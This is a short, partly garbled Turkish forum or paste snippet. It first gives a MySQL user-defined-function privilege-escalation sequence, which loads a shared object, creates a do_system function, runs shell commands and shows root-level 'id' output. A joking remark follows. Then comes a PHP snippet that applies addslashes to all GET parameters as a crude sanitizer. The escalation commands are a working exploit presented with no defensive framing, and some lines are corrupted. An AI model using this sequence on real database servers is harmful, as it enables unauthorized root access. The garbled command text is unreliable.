kolayı war

use mysql;create table foo(line blob);insert into foo values(load_file('/tmp/x.so'));select * from foo into dumpfile '/tmp/x/x.so';eate function do_system returns integer soname '/usr/lib/x.so';select * from mysql.func;select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');\! shsh-2.05b$ cat /tmp/out


uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

yap euhauh şaka şaka

 
<?php
if (!get_magic_quotes_gpc()) {  
foreach ($_GET as $key => $value) {
if (is_array($_GET[$key])) {
foreach ($_GET[$key] as $key2 => $value2) {
$_GET[$key][$key2] = addslashes($_GET[$key][$key2]);
}
} else {
$_GET[$key] = addslashes($_GET[$key]);
}
}
}
?>

tüm get verilerine addslashes uygular